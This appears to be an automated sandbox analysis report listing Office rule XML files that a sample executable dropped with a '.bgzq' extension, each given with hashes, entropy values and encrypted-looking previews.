C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120670v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.710541059107064
Encrypted:	false
SSDEEP:	24:FNa6WBinRuF8OwgTnyJJqfaveiBl6SOLKiVbD:FNa6HIF8O83veiL6LLDFD
MD5:	E943B702F16BC3895E7B63F0E0E2988A
SHA1:	307DAE0C9982FD873881BFE01645D8D9418A08A9
SHA-256:	2B07E5F0F7D9A69331E909514FF7CFAD4F8E4427E2FC18BDD17187CC07DF8800
SHA-512:	3EA9CCCC0E3A5F030C6FD0D582125BE3A52347ADC9B0A342C3E55DBB73CD414BA2811BD0127ACEFB676F853CD35D16FF83178F60EC1ACB0DA997EFF7405E873C
Malicious:	false
Preview:	<?xml3.HI.$.t:V".x........a^.F..9....WA.LQ.q+\|.!.:f....B#..[.~?..C..S./.-.".......b2..Ra.......0z.....u..x.;...>.......K.......5F..i..l\B..9..=/.A..n.G4./h...T4.w]..._"..k....I...+.A....../+.e?.....K........'m..U.....)....f..p:0.^..J.KWt.0..udEt.Qi.l.S3.5.,..}.k^.......)..\.?.8....3.J.?_...d.}a7......[.(.-.x...y.^....wL...~v^A.8$......W5em.h]...ZL._.MS..qu... .<....N...].L`c.0Uh.&m..7Nn.dP.r..Dgf...........L.R..wqT.o.-..P.....p..n9.u.C..!^....d..eD......SVU?..0.q.E.g/.g....\;.6....AmC.7......"x...a.5.Gi.K..Z.h{.1-.Nk4...g..P../.G...<.5^R.<BUz.._.D.J.B.....2....3~...2....$.2.yd....r.k..r.k..I$m+$}T[.`!iv..\|@j.....%u...#N)..]e5:.$..c,....-VE.=...39.&....V..ki5:...a.B.+Z.u{..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120671v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	765
Entropy (8bit):	7.731957966996047
Encrypted:	false
SSDEEP:	12:ULVDy6ammdz6CCO+XCiXJQeoydJl4iuKt/U432yW0xwTyfghttFxMDVj/EpcyqNV:dmXJQeocXukM4jW0tgBscpl2X1VbD
MD5:	CDF42F13ECC254089B4BF7ED041CD4C7
SHA1:	3338AA35B8333CBFC9A6275A377F9C3C5E6CCA89
SHA-256:	8C33BA9D9C69178B291129E751E7A66EC58648DA317E7CAB9013CAB5A6F29AE3
SHA-512:	49E692D731EBE6183B43CCD139334AD2CD5111A0300F7E8D0A8ECA676C342FDC2449632F0341F6C7C064FE61266E5126100012E5D6B5DC8109A1F11607C6B3A6
Malicious:	false
Preview:	<?xml).W..wH@..9.t.s....B..os.7......p...$"i.l@B.qi../.a..O.x.1.....`..12...e.z.S..c.....ysLj..=@p~z..)I....s..........w.Pj_..:x.......{8....."T....i..l...!W...Z..._H.1:r*.A ..d.....i.ge8Os...u<2..zd...v...P.....xO..9\..d......?7JuI.2..ui..8....:....8..y...7l..(.........$.F.);..r\...6.s..t..<.h.[.y..&~..C../...P..p...-..#Y.`4.....3\|....=....(t.U......x..C...9.uu..S<..G.......%.pkh...1.3. ....)....2.$^.>.I..OM(.O^....T......Q.a....q...##IK.<.H7.`.".......a..h.).Xk....9j.9.v.m.,....d@Rn(z.9.....e..."n.f...)..2..{,...t....u..B{G^..g(...s$..^n..{x...p./..3.A...0.E...m0.,..........L?...^....).Z........O.-...\|.~8...P8....1]0w..j.8+v......]=`?...y.B..c.<.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120672v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	808
Entropy (8bit):	7.670460576697272
Encrypted:	false
SSDEEP:	24:UxsRZRDcNWGhD65hhJL87ct+pnTG7RBVbD:m8ZRWpJ6JJ4M+JiXFD
MD5:	F570D22820BD42F5CDB897F91206C67C
SHA1:	2F565E674D4AAAEF12014320C91D5C9C6B2759EC
SHA-256:	441C5CFD6844F18C126CDBD735D752C01B16ECF1FA5ACAE4513504CA9444FCF6
SHA-512:	19500F1EF613DA6781CE4AE7DEE686C712A362EBBF2D01A1A9C5352F96B5F326A2E4D32D112F714A689F36EBC7A414DDC11EA18FCA46E6C6ABCBC2B0835A40BE
Malicious:	false
Preview:	<?xml.....5Fj.a....c0..^.......WA.E7G..j..`.I.....~..>...5..$...8.....z...;.&.b..(#.S[..NZA...fr..~U..C..-.:X.... `.{9<A.....3.}1Y.b..o...[Y.5.C.t.....>..a..E.k..68Q...rt.T.....q.....aKb......K....c:.l.......h:.aF..../v..B.2$\|R....t...^JN...m(..Na..b.6..j....D.Q.C.4.qW".H..D..`.x...-..V....._.s..(Y.D..a64,.j.A1.... .i.pV....~...h...p./.x..%.o...V...>i...F5@Z.o<.r.b.e.9U..$tW......L..F...B..$..GD.N....p.............T.Q.....i.*.B.C.2....?..k...}.%.K..{c...m.y..5...^..p...<z.b..0.H.M>..9.tc.56.&.?...zkK....K..j5=80...o+Hw.Q......2.h.`..$.Np8E.'C..s.kMhE....?'J~k....e.....~.......e.].]].=.....(=7..<..}.w...kI3....9`..D..4.l.`W #....>f#...I......N.^..H.t.[`}.S....~..:..~...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120673v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	760
Entropy (8bit):	7.7386472455292115
Encrypted:	false
SSDEEP:	12:Y6otW1KLvVAgnQMMsj7sim6fLc4yxwxAwgFPJRNGOVVCr6yr4palKBoeB2+LljVX:YbTv+gGiFLRDgFPTno6yDl+FvVbD
MD5:	3B16367D8C7EE8EFF72B8096019E0658
SHA1:	89C005943832778E1CEB2DB3BB67C6620EBAF54C
SHA-256:	C35A689687DDEB5171A42AD6B1DF3EA23AB9DA6C42DECD9799C7FD77952AE67F
SHA-512:	C24C7BDAA54BCABC766A68EF0BAB7DA9D5FC657A66E7D7DB61DC8FFB36AFB5453B0C9980F9DF0D5A46DB5183B049B81BAA69A079DDE963AFA89E6753FCC8724C
Malicious:	false
Preview:	<?xml....hF..l...t:.6......g._...2.T...P.B.n..Z..6)..O.nv..xV.y`...P..Buh.S!....$.Y.....4..f.R..j..0.o.....-.`!s1.z.j..q.e[..@.-.2c..e..r...Ov....g.....m............m....j.G.f\........K..5qp/.c\|..6.(..I.P..R.O.<....EI..8k..r0.....1.B..u.ip..L...^..f....V7../...k....P..O...=w..W.1....k..B.~4.(OE........$.Z...i.$K.........n.....'y...{..\|4..F.S..m..J../.M"yN"...V..+..f.c.Na.... .C(..y..n]......,.^.k.n..b.g..,K.@..J.)A0..K^....+.p..[v........D.#.H.2.p..).3....T....=.HP..`..U\|.S_..:.c+uF.]...O.o....Z....<..........6..uq.El..Z>&.Nr..8..A....'..,..y. ..zH.f..2.v...1....<.C3.>=.j..ezr...yz3!...F.^..e4../..Q@..Q..V..t.M..J./&r.....Jm-....L..}...itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120674v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.730223292373359
Encrypted:	false
SSDEEP:	12:jPZIA0tVcJLt/3R2RdBbuYW1Ip6wWuJYCfvusEa0I+dBNet5kqsmmovZj6axwMAZ:8f//uP16G6jE8+dBNeLsLovEaxwMiVbD
MD5:	9E765EAC8E47012BFCCE1E1DC6B26814
SHA1:	36990761DFA69779E0FF8B4A8D0C20A2D860A8F3
SHA-256:	6874E95E894382F63356ED60947D301226291F8B1A120D4F242D277E03D149A5
SHA-512:	4696131E4DE885B9527ACC42C0127EF1A0B8B3311F95C3B909898A88C3555BA44F2C2A7A14345882D9847E5E44874074947D73F1BB50900A9998DE88FDEE3561
Malicious:	false
Preview:	<?xmlcG.6U.......J.....c..$.;..#..g...}.......N.N.o+..C.4..v..<}.V.S..o..S..O...i@R..>..../.ofX...f..h.....j.c..s..w!....sB....ws.:..\....\|...._a..z....n...x......"..".......n]....]........2...";.~..aoY....`..+P..xb.;fBW....}k..k..P.B<....!..H.P....<.D~........y.....\Ch..Xp.....5.....{.d.7....XC[..r.....\...:......h...ol'......VDK.....x.....F..[.2..!#....;?4.7/]z...u.........../.x..JJ...^.:.GT..$.....]".5`.G..+eNf.M....C...$.V..k.y_.D.NF..}?..A.1..d.bH............o..)....L}....K..8...2.J3...K.....K.7.D#j......X.?6..xb7.=.o.......\.`....t.a. =.?.....s....G.O..o...v....-V1.Q.szD..{p...81..D....v...Q...H.......{.....h._.v6yo![...C.l.Q..=p..'..\|......gn{.aV' .EW.t.9.m.41.FT...H.S.S\...y.+itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120675v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	752
Entropy (8bit):	7.72890730660805
Encrypted:	false
SSDEEP:	12:gAX3ymdy6oxPhDUNXsoFuhwy68idRCdQO36bEPCNjVcii9a:gAymTox5DUNXPQiz8i66MCNVbD
MD5:	30AF20277CDA36E628BD01C8D8A2EA27
SHA1:	CEB0F872F115EB708F41847C69B6CC5D0ADCDDFE
SHA-256:	88836C5CB62DF39A54816D96DC007434F4B52DFE7DEDC48CE9BC05AB3FCDE17F
SHA-512:	FB107098E71618845C70F983795CC03809C2F9E4DA3B5C957AE53EB5FC38E2272BBD05FF94A561CCD04B7AC6F01D0881F07E8F91CA6B5C8F02D7582608E1C44D
Malicious:	false
Preview:	<?xml.8>..\y.....d..i.P.>\|8.Rk..b......sV..1.=./....a..."e.p...z.2.f.../..x..^.x..X.m.U.^.w.?.3_6..mP.5.;......KW'.<5$7.>.....h.=b......{0.q.R.u..6F0.......UX.......z/b#./.q..a ..b".F./3...=<y[tD.+.....I.....L..e.....#'.K....s.?......6.W...Do..q.j?..../.e[ ..%ok.7.L#..\|.R.....h..s.......g.x.J.B.........s_."h.C8quy....uq.......S.Da.^<.0.$.n..c.. ...\|.. U.+.k...n....'G..{P\|rH..E.....p`......X...r{.~V.9H.J..d7.G&.E..h.O...X7&.....$..\\.a.1...^.(.O...~@....q:.........qg.!.....zg...D..8.....'.1I:.5'..#......E{b.?.8...9..r..O.....J..._$Yw;B..Q)....b.S8.U.....:Z..........PS..I[....l.+l...X.+.a?kp../A......BM8+..]...q.?3i......z<\7itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120676v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	805
Entropy (8bit):	7.743581016400335
Encrypted:	false
SSDEEP:	24:gBmh3z/2m/spisQ6h3KPjWwvkIFP8uFxaJoWAsvBVbD:T+mGTh3KPitHm8BFD
MD5:	617F3994FBCF33BB3A8E9A7A6311CEAC
SHA1:	EAA37835640533971C1A6675E747D15682CBC1AF
SHA-256:	E03146C3A048D38C4878F740D77E3C8AAE85748C1E0C319581BE64A1DCC323BA
SHA-512:	BC96DAADC84C9866D8E77BF1568D32B6672B14A92A8793083DCFD0114E5963DF1AA1D175ED9CBF30F3B68864EA9FFA9DC4173DBAA26CE666ED6D64423161C931
Malicious:	false
Preview:	<?xml..'.>.....:E.....T/.. .K]bt..M_..>dM.!.a.={)..R..W...].....&........A....l...d...c....:..j......\|....9F...5.........%t.<}....K..O..v......n......b.u.a'.S..T&...R....}......\.5........).M.&.#I...6..Q.S..l.p...&2....I.P....[g...../..1.'&.N....nw.@.!C._b.pP....Xa...v.........c .-..h....&..t5.9K.......9..fp.w..BX....b~.$6F!TM.......h........ `...........L4.u.........mk..;.....+..}..W.G....Q..2...0.Z..pz....p...C_.l.(..K..P.@T;Bj_U.... .pz{.<?.m....TAMf....<_h....LJ.+..X.j...Q....a0..C<.'0.K..<.a.n..>.F....9.eV....@....T..W...V.&u9....L....>>.....w4.."6y.&..j.....z.#abmW.......q$.k.V.....q...4ABV...!(..&]....0D.........v..UkcQ.......},...z.\..D.%...jZe3.{.UT...8......1.....8'KN...=.Kitkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120677v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	738
Entropy (8bit):	7.685373415794126
Encrypted:	false
SSDEEP:	12:IR4QzyEtoTFiygEYSeVcqjdYFVJ2m+pBlAadY1DM2emejVcii9a:IafEOTFi2Yb2EdYJb+pByadYDcVbD
MD5:	30505C04F77C5E511ECD24D3C8CFB44E
SHA1:	61BAA92C7057C4782BA70AD26F76F2B4F04069A0
SHA-256:	8A82EF5E28A92212CFA4AB9CB39A18080A6AD59CDE14FEF0B3642DEF4881A6C2
SHA-512:	C225895155F31279F35E09D9A435823C2687309C29233C35DFA9AC003248E9EED39C4C94B6D95E4CB3747A340D061A22D9136725E19A1BD7AB0655E2AE76781E
Malicious:	false
Preview:	<?xml..&..Df.Q]fx.D.J.-...c..W(....U.........'.....4...........P..H.Y.+W..".)...!(..2....c...)a_.k=.(....%m...F....f...w.A(l..\|8'..%...N.....@.:..u#6O.S..A?lUe.y...\|l.. .:...z.v....2.$f....1.s ......O\|..R.]E.....2.MLs..P..]y .$...k..n\|..z/;F..2.AN.........9T......9c...u..2F.L.9Y..`..=(K...kw..t...v...{.C.7..%.Q...V......{..7..$..."X.l.B.,,...z.....N..B..j.....i..4..F....5.Or..w......8H{...^........#..L....4.u...6>.0.....%..Q...L...(Q.j.x.:r.@..MG.e.........%e...5-.X..<..-Ex.g.....9..O....k....9m.s.)}..).........\|.Ht..LK.._.+.......,D....F.q.B..m..Q.._G.G.K.Eg... ..O...C..+.S.E....0..#..;....os....._N{.l.+..}..C."..itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120678v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	801
Entropy (8bit):	7.690554576988435
Encrypted:	false
SSDEEP:	24:fs47CRXnbrXlwOvT6oDZ6uL3Du6Wy+XVhSwmXVbD:k4+XbrXyoG6YuL3K6Wywh1oFD
MD5:	3E441BCF600423125AFC05282AAFD2B8
SHA1:	8B8713782362EF0DC496F61D9A9EDBD2EAB31989
SHA-256:	ECC504EAFFAC9A1E05D368E5CD7E785EC1AF3228DC61903E15382B4A92BB979C
SHA-512:	862B4BDF54DB168C3441E78A9B846AB3E7637AD2A04CDAD998D9DB94931EEE7A71CE7B55F054427E585C13B9871E8BF2FFF9DAE52A0F09139C590CD67525AB4C
Malicious:	false
Preview:	<?xml$/[.k/.-.TG.....G.&g....V....!....w.....r..'.y..Y.3T.TH.............q4.L ..d)....=dB..V...b...H.w.3..L.......k@J...b.......q..T...-.pR.qb.k.~..@p....\|1.z...jgi..8~..~,.`...m.ALd_.TL.....agt.,ns.-...Sf.!.:g..r.m.!..m.:U.8.... .g..[b)..\|.a..L.T!.q".@.H...L.'.q..E{+...}...B.%...c.$...ey..(ZG..?X....;.....-...S..g...'...{.y...._.S...p+.0..#N. p.k..10.6..v?."...s.{..%...u....z....... ...5..Tf"'45U...h..qw.W....Q..q58.S...s.....V.........P......%xyl....9%r.+A..2H\.q\|VO..\p..r3;..9X.4k...B...m.......j$..f.....AQ^.:..1.....z]... ...3_.........:o..w\|...SV..w..k..hny.V7..).ds9f.W...m..*.....sf<.\...x.9\x..YzX.-......'T..n..c...h.X.....F.........K.S'jA...?0.z`n.).D=..w)E.W......g.%..Fs...2.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120679v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	507
Entropy (8bit):	7.56354479944116
Encrypted:	false
SSDEEP:	12:hJcyq9rcUQ+wNUzySJRCKwbKX67U4+Gr43kkNjVcii9a:hK19rcvaXmKX67IaENVbD
MD5:	B71E8E47D6800729B769ED3F4262AE99
SHA1:	B405735A1C2BACF0C94DA878AD06D74DC2A35696
SHA-256:	D016E428AF78059A494A3460BA7908EAFDCA9C8F5797A08D58E7178F768A9342
SHA-512:	95186C1C45AA6C2E7679CBA5D645D12FAF52476C3DD6DF8B62DF382D88FCF6672FA85E3FAE3260CE390AF1C26C5E4C2F47937D2293BB4AC56E1D5087DCC2AD53
Malicious:	false
Preview:	<?xml..D^.C.....~$\.....~...,..T........'..ql.Q.^......r#...f.w.J.]..,.J.J..zY"....3I..<....~<y.G.t..G+..>.D..y.....k..S.ve5sP.f..zDL..L..!..b.64:......;.y.R.........{.[.Ny..3G.\hq.#.B.."#....?..B......?PU[.\|.......6.&w/G(A....]..........E.G...e.i...J.\h..N..D.!o4......s...3......+k...b....rF.q..O...}......=......... ..D&7...YYs..5.X.G.R.k...p?...Gz...1.;<...<.............(.<.._..X.NQ.-. ?...6$*.....5.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120680v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	2285
Entropy (8bit):	7.906893758687903
Encrypted:	false
SSDEEP:	48:Qyig7nWeuRSGYNOyzD+gfmY5qDUiXtnnToxfQXd2Q17vjiCpFD:ji8ZuZYNO6RYtnToxfxQ16O9
MD5:	B28B697BDE687159A834A8900264E911
SHA1:	5D1B760470C673D96404F91522A655443142E329
SHA-256:	ED665D2EB7FC7926D516752C045C12D861DEDDB3A3A4E70E6478D72829F1C909
SHA-512:	1EC995DB0E671697E10F7A1339C40899C4A8F5E6B4AF559C660BCD7DAF988628D42DDFE9AAE77CB514E693CEDFF9B6D66A9CA05745487AA38FC57DA275A4634A
Malicious:	false
Preview:	<?xml.E9...Sy..I!a..T.[..8....J.k.$K...2.....B.~..tpI.).g...f._H.l.g..4..SdY.t.{.9.~....i0v.V..lNZ.3....9,..............[.G.sB0[(.d-I..6i.9'..J.N-..p...".Y....&.9.qv.{.x...c....i....C'...}.....D#..:.K).c.~.-.. %82..^..()..<..}.K....e.O...4.... .....;....u&....f./.nj........!.\|.q.}...`........%....F.8!..:..E.....p..E40.....Y..f...+".\|T:.D..H..4..4..F......j..y(pm6.6...X..,....^".....(2...\|k%t...\.ZXi.G.2....4.S.Z...Y.......H.(.S&......f?.....0v.j(..../P..%..\ .s..ko.@i...e......Q2%.7..p.....r.jr{...#".<........M.9X....j...[.g...@N'..d"..j.q..)..Sh.p..Y.D..hG......U%..\...6K...z?.6...UW)..z\|?>.-..W..A!.Q..J'.........}K...{.....Rm.t.Q...s...u./......~.....t+$..D.Z6.a...[~...r.U...6(T.yOWTij.U..QU....g..8...f.....".`....[N.Ip ...?n.~.h.....3R.P.3H.....z...r...:.v....kV...o.1...$..NK_])...5......]Z._ue..4..Nk.=.Q...E.q.....D.'Ef..*.&.J-}.L.u.......@.7..u$x...]6...)..&.".(B.T..0..Q...Y.z....h..yv.hM.y...TJh....H.........2.V.G.9.L.6.m.z.PU.Q

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120681v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	1291
Entropy (8bit):	7.84497669317558
Encrypted:	false
SSDEEP:	24:uSW3zeeGvzFTJDJD8xv4nc89ftpBoisiuG7Tes+20M7IaANdgxmVbD:YALFJu89ftpBUFbs+bQ/sFD
MD5:	BAE8E83B492FB8C8DC77EB697D6E34DB
SHA1:	FDC5A7B68597EAF6896826FBB4B04453DE696ACD
SHA-256:	7B550B1C021EC581F0EDAFC248BF0B6C0FAA28DD7276D46CAAE212DB4A3D1EB7
SHA-512:	BE150AC924304867E783FB3E47B97635A87BC1893F07CB1B072D1B0C91CD8B6BBCE625FFA70DC692D64A68B6F1351D4EB6C5D919B827283A9DFD7FDE2DDEC454
Malicious:	false
Preview:	<?xml...........[A.../B......6Q.w..K..a.U.4%.L..."..I]f!.....$7....J.{.aYF.x..R).U.'8...Hf..4.....}!...D6~_...7N.[..[...k1....a#9.h...8f.>'k.......1..Yr....e..n...m....~@}.zaa...>5H..u7O...<..?x./..o..u#H.r...+..h..@.....xM...ZX.#...T4... 0....[XBy.<S.9.2-9f.......L .D...4...V..l.1l..k.;.........svDT....+..+....TA3S>....."... LEf(...=.b.V.....X....8.d.q..I..th...R>vO...J........J....$../s.z.\...F-z.P.SX.....e.....92L.....3.9/1..Kp...6....\Z.a1.)qb.k&....C.Z.o.jz.`.%..H.g.Yv..-'./.#...Z..6F....j36T.p...W.J.......lB.."......]...=.E.9...j..f.....x...#....iCoQ?"...-.<c.....OCw..Z..}..r....lh.-.'."..HQG..X.xg#.}...\....>.3E......x..g.#n..R.(.x.!"A....8..4.p.W.U.f..y@.c#.>%.s%.p.m\...=...$.ZA.R......E.%9.....,,P.W......$.Y.../..t..^v......`.{........&N...e.[^.z.sR.h...=..5'@z?..ZqbQ.y.[.....\|.....?y.C\.N}&...N.c..#e.@.<...d..."&......NC\...D....S..Q.g{.@.3.*.q.b.O..?.?.aec7wS\u"8'.r..#..."n.Nx.a.d.$5...c>2.....hJ.~B.Q........\....n.

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule120682v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	834
Entropy (8bit):	7.765766753287431
Encrypted:	false
SSDEEP:	24:Im8WjvgpaEH8Vhefp4TyQm0NVNr76Em5WalVbD:ImBv+IVhefiTpn/alFD
MD5:	3B56DCE114ED6CB464CFB05D3ECD414C
SHA1:	4FCF88FE31B022AB634D572329A6AAF5652E3039
SHA-256:	D75B73C5624F1FD4804BF5FB7A348BB45A6CC708E0A5CC54B40D7578FFF5E9BE
SHA-512:	C22A48369B5B8360805AAB7D3C8D82F900BC4BE621F90EA4D9656DBC4C46F3D0C431E4E65DC16D68B671A127C1F26E71B680E22FF4BA092439C997E6862B5B65
Malicious:	false
Preview:	<?xml..... o....(Z.Dm..3.h.u.......y...y>.yk.OM.............~....o..\|...#\;..0).~..@."....e.w.\.N...iy.CBT...Pj&..8...\|.V'}.....G%h.S....;~...n.d.........m.J...K.....-q..v\|......a.....#O.!.9-s=...Rg>%....2{..6...._.?q.aM.Gx...S5.....Pj0...&.B....7F....wW>.......;.8...J"..pu..^.........Vi:)p.S.uf.tt...6.\|.d .IP...2..~,..m...f.`.z..?p:.H^...^..U..J..Y.@qL.....l .K..LJ+.......e.i.Vx..R.......s.d......R./..sv.y..}!y.#...:...Mp-...r.Ms...........F.:..X....9..[........ ..[3.L.`...._.h...U...CL@.....R.~{..D.P.=.-WI.\.sR......;Z.M}.w...<...y^...-.U.......BQ..x...._c..vJCB~....Hf........+....k@.kJ...R...`.>m..Y3..W.'..3....D..R0...s*..4...~....A~Y.`....t.W.....1. .`..<............mE\|y4.?x"....B...'u...I..V..RM.itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule130009v0.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	630
Entropy (8bit):	7.6350161142817194
Encrypted:	false
SSDEEP:	12:6tnD2ptQt6xouhXqBjtY5qDu1JrNgoFOb0AI46er0IHqbaA6zbXrcD8pb4nejVcq:SD2rU6xDhqBjtIqC1J6of46enA7opb4k
MD5:	F6E076CE7695700356579515A4376C42
SHA1:	F8A44EE6FF8AA27B0646D873D61B08C038BB7621
SHA-256:	B02F36D0A3459358F8278917C7EE97C8A2A776ACB59CFEB1F2A2E12C963E994F
SHA-512:	D6697BA00AEC8EB49EF433ED9B448112154C391BFF2C50B753291C9CA1A9553FE107BBE0F5DB3204124A9CCEAFB82D7E6C18F43F59C5ECE1FC531DBA8BEA18EA
Malicious:	false
Preview:	<?xmlD..%.-.$f....D...l(3..u./&8C.z.6&.......m^V.........,..o..Ou.-...ID.)x.sq.].4..\.J..v!....E.(......P.......)9}......SL.[.l202oeb..d8$^..h..m...A"U7.......Q}..VG...2;f...*.e.yi.7IL<...}..o....Y7l. .q..~w@.h...O...}.}.kY?......Ga..Jx.......~.....{.f.."OC..O.+.o...^..$.1......<8J.Z:._.e..'.a.Y..S..>...].@jFsbU.....`i...q.-....d.LL../.....^.Y.5A6VYH..2m....i...N.....Y.8L..D,z.\|..]..^...L..P.2#..s...D)X..C..U..........2.}......{z...eF}#.6K..[..Y.... .L'.Q...^_..J....}.z'....$.......7..^..;.81%......^.>.......s6Ditkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170000v6.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	7.754104127382725
Encrypted:	false
SSDEEP:	24:fm6zOktyqqZvMHBQaa2A6PWfpIdRQpTk6NaDTJDcVbD:epkoqqZvMhGy+Y2k6kuFD
MD5:	C23A480628F0F91AD00D2F7BFF49BAC5
SHA1:	5D1F58DD453980B1D97CA3B8A2F32E9754ADB3F7
SHA-256:	42ED147520C2F1FE65054C5545E50319EFDACCACF28D76E9F3D3E4FD6DEAD793
SHA-512:	4E0B45C480C786A5FE0F5DF5046366AE40069D4A98BB2331C72746BD50C5CCFE3A9527CD856CF10A251C83FD5173D0DDA2DFED6F0C1F553E2710A5AE285D6DF6
Malicious:	false
Preview:	<?xml+.z9.F!.P..a..Cr.....f..7........>..D...'...^!".../.mc...oA,.).........AR..s..=..t.G..\|.\|.#.d...Z5.+.T?j.X..[.=.;..ZW.ps.$dD{......5<..K0....~..v.S...=.D.....CJ....JL.~0~.q....8.d.~44.F......XI/.Y...2h.......X.,.g.G....x7vp$..r..L..W...v...C...z.\|.....f...F./...q......P....T.....~..f.L...k...x.i.T.i......B.c..\..H$.@L&j>H.U..E.....a.u..:.R.....C.f...A...J_>r"..bP.v.}.0...x........'.sS3.....o5...9..F?....Q....A..x...0..!....m9..(.R...0........{<.....Y..&...._$...lv.6..iK..z.k.s..[...}.....;.Xqk.-...A+....}e2..T.,.4..N..4...I2...X....!\|._..].?{2W.>9F......,aq ..WgS.i.^..U.....sT@.L#.0...o.....Z......C...!.4.(:J.F:WS../....4.So....1...\....b..H.....g^i._vZ+....).y..../(...S._ .6.I%.Ly.[.AK....p..Bi..q;..{.p..7....itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\Local Settings\Microsoft\Office\16.0\excel.exe_Rules\rule170002v6.xml.bgzq (copy)

Download File

Process:	C:\Users\user\Desktop\lzShU2RYJa.exe
File Type:	data
Category:	dropped
Size (bytes):	6314
Entropy (8bit):	7.973270923724434
Encrypted:	false
SSDEEP:	192:2t2N0RnBveR+vzUa9J7NhCOxyGWwtHVGkIhi2Ix/K:2O0TveR+DJ7esv8lhiny
MD5:	7CA14A913DDB796C5C781441B295F963
SHA1:	EDD4738E2BE93E583052B642140F09A15CCE5DA5
SHA-256:	C306B25681BF4A5BA4A1231609492D9476262328A55B576E27B45FF8B17F28DD
SHA-512:	04955CDC71773015A343967AE9858A1629E355F5A3B14F217356C95A4BB20C83189FEE069CFF3CF912B9408055F8D765C5F84A998D2B41D70B20987A37208198
Malicious:	false
